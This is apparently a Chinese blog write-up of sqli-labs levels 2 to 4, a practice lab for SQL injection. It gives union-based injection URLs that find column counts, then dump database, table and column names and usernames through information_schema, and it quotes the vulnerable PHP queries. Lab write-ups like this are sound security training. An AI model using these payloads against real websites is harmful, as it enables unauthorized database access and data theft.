zoukankan      html  css  js  c++  java
  • sqli-labs-master 第二,三,四关

    第二关:

    判断注入类型:http://192.168.65.130/sqli-labs-master/Less-2/?id=1 --+

    原因:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

              未对id做任何处理无须闭合

    判断列数:http://192.168.65.130/sqli-labs-master/Less-2/?id=1 order by 3 --+

    判断显示位:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1+UNION(SELECT(1),(2),(3))--+

    爆出数据库:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(schema_name)),(3) from information_schema.schemata) --+ limit 0,1

    爆出数据表:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(table_name)),(3) from information_schema.tables where table_schema='security') --+ limit 0,1

    爆数据表的列名:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(column_name)),(3) from information_schema.columns where table_schema='security' and table_name='users') --+ limit 0,1

    爆数据:http://192.168.65.130/sqli-labs-master/Less-2/?id=-1 +UNION(SELECT(1),(group_concat(username)),(3) from users ) --+ limit 0,1

    第三关:

     http://192.168.65.130/sqli-labs-master/Less-3/?id=1') order by 4--+

    剩余同第二关

    原因: $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

                用‘)闭合$id

    第四关:

    http://192.168.65.130/sqli-labs-master/Less-4/?id=1") order by 5 --+

    原因:$id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

    需要闭合引号和小括号

     

  • 相关阅读:
    2016-7-4工作总结
    2016-7第一周工作总结
    2016-6-30 工作总结
    2016-6-29 工作总结
    2016-6-28 工作总结
    基于软件开发对嵌入式开发的思考
    团队项目总结
    软件工程课程总结
    图描述之:流程图
    004-二叉树的遍历
  • 原文地址:https://www.cnblogs.com/gudexiao-1996/p/11692275.html
Copyright © 2011-2022 走看看